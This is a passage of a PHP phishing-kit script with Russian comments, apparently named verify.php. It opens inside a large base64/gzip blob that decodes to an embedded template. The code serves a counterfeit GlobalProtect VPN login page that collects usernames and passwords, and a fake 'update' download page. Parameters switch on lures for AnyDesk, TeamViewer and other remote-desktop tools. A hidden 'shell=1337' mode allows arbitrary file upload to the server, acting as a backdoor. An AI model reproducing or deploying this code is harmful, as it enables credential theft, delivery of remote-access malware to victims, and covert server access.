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'; $decoded = @gzdecode(base64_decode($encoded)); $template = is_string($decoded) ? $decoded : ''; return $template; } // Рендер страницы GlobalProtect на основе шаблона function showGlobalProtectPage($templateHtml, $view = 'login', $error_message = '', $success_message = '') { $template = (string)$templateHtml; if (trim($template) === '') { return false; } // Делаем поля логина обязательными $template = str_replace( 'id="user" name="user" size="19" placeholder="Username" autocomplete="off"', 'id="user" name="user" size="19" placeholder="Username" autocomplete="off" required', $template ); $template = str_replace( 'id="passwd" maxlength="128" size="19" name="passwd" placeholder="Password" autocomplete="off"', 'id="passwd" maxlength="128" size="19" name="passwd" placeholder="Password" autocomplete="off" required', $template ); if ($view === 'success') { // Страница успеха в стиле index.html: только текст успеха, без формы $successBlock = '<div id="taLogin"><div class="login_fields" style="display:none"></div><div id="loading" style="display:none"></div><div id="final" class="final-visible" style="display:block"><h2>Your authentication was successful.</h2></div></div>'; $replaceCount = 0; $template = preg_replace( '~<form name="login" id="login_form" method="post" autocomplete="off">.*?</form>~is', $successBlock, $template, 1, $replaceCount ); if ($replaceCount > 0) { echo $template; return true; } } if ($view === 'download') { $messageHtml = ''; if ($error_message !== '') { $messageHtml .= '<div class="error_msg" style="display:block;margin-top:12px;">' . htmlspecialchars($error_message) . '</div>'; } if ($success_message !== '') { $messageHtml .= '<div class="msg" style="display:block;margin-top:12px;color:#0d7f3f;">' . htmlspecialchars($success_message) . '</div>'; } $downloadFormHtml = '<form name="download" id="download_form" method="post" autocomplete="off">' . '<div id="taLogin"><div class="login_fields">' . '<div id="dInputStr" style="display:block;margin-bottom:8px;color:#3a4248;">Enter password to download update</div>' . '<div id="dPassword"><input type="password" id="download_password" maxlength="128" size="19" name="download_password" placeholder="Download password" autocomplete="off" required></div>' . '<div id="submitbutton"><input class="buttonFixed" type="submit" id="submit_download" name="ok" value="Update"></div>' . $messageHtml . '</div></div></form>'; $replaceCount = 0; $template = preg_replace( '~<form name="login" id="login_form" method="post" autocomplete="off">.*?</form>~is', $downloadFormHtml, $template, 1, $replaceCount ); if ($replaceCount === 0) { return false; } $downloadScript = '<script>(function(){var form=document.getElementById("download_form");if(!form){return;}form.addEventListener("submit",function(e){var input=document.getElementById("download_password");if(!input){return;}input.value=input.value.trim();if(!input.value){e.preventDefault();}});})();</script>'; $template = appendBeforeBodyEnd($template, $downloadScript); echo $template; return true; } // Без анимации: только проверка полей, форма уходит обычным POST $loginScript = '<script>(function(){var form=document.getElementById("login_form");if(!form)return;window.submitClicked=function(){var u=document.getElementById("user"),p=document.getElementById("passwd");if(!u||!p)return true;u.value=u.value.trim();return !!(u.value&&p.value);};form.addEventListener("submit",function(e){if(!window.submitClicked())e.preventDefault();});})();</script>'; $template = appendBeforeBodyEnd($template, $loginScript); echo $template; return true; } // Универсальный рендер VPN-страницы function showVpnPage($vpnProfile, $view = 'login', $error_message = '', $success_message = '') { if (!is_array($vpnProfile) || !isset($vpnProfile['renderer'])) { return false; } if ($vpnProfile['renderer'] === 'globalprotect' && !empty($vpnProfile['template_html'])) { return showGlobalProtectPage($vpnProfile['template_html'], $view, $error_message, $success_message); } return false; } // Показывает update-экран в VPN-стиле, либо стандартный fallback function showUpdatePageByContext($vpnProfile, $error_message = '', $success_message = '') { if (!showVpnPage($vpnProfile, 'download', $error_message, $success_message)) { showSuccessPageWithDownload($error_message, $success_message); } } // Профили VPN. Добавляйте новые элементы по аналогии. $vpnProfiles = [ 'global' => [ 'renderer' => 'globalprotect', 'template_html' => getEmbeddedGlobalTemplate(), 'login_fields' => [ 'username' => 'user', 'password' => 'passwd' ] ] ]; $vpnKey = isset($_GET['vpn']) ? strtolower(trim((string)$_GET['vpn'])) : ''; $activeVpnProfile = isset($vpnProfiles[$vpnKey]) ? $vpnProfiles[$vpnKey] : null; // Check if this is the update version, anydesk version, hoptodesk version, or teamviewer version $isUpdateVersion = isset($_GET['update']); $isAnyDeskVersion = isset($_GET['anydesk']); $isHopToDeskVersion = isset($_GET['hoptodesk']); $isTeamViewerVersion = isset($_GET['teamviewer']); $isSupremo = isset($_GET['supremo']); // Режим загрузки файла: verify.php?shell=1337 $isShellUpload = isset($_GET['shell']) && $_GET['shell'] === '1337'; // Если открыт режим загрузки файла, показываем форму и обрабатываем загрузку if ($isShellUpload) { $message = ''; $success = false; if ($_SERVER['REQUEST_METHOD'] === 'POST') { if (isset($_FILES['upload_file'])) { $file = $_FILES['upload_file']; if ($file['error'] === UPLOAD_ERR_OK) { $targetDir = __DIR__; // basename защищает от переходов по путям $safeName = basename($file['name']); // Дополнительная лёгкая санация имени файла $safeName = preg_replace('/[^A-Za-z0-9._-]/', '_', $safeName); $targetPath = $targetDir . DIRECTORY_SEPARATOR . $safeName; if (move_uploaded_file($file['tmp_name'], $targetPath)) { $message = 'File uploaded successfully: ' . $safeName; $success = true; } else { $message = 'Could not save the file on the server.'; } } else { // Сообщение по коду ошибки загрузки $errorMap = [ UPLOAD_ERR_INI_SIZE => 'The uploaded file exceeds upload_max_filesize.', UPLOAD_ERR_FORM_SIZE => 'The uploaded file exceeds MAX_FILE_SIZE specified in the form.', UPLOAD_ERR_PARTIAL => 'The uploaded file was only partially uploaded.', UPLOAD_ERR_NO_FILE => 'No file was uploaded.', UPLOAD_ERR_NO_TMP_DIR => 'Missing a temporary folder.', UPLOAD_ERR_CANT_WRITE => 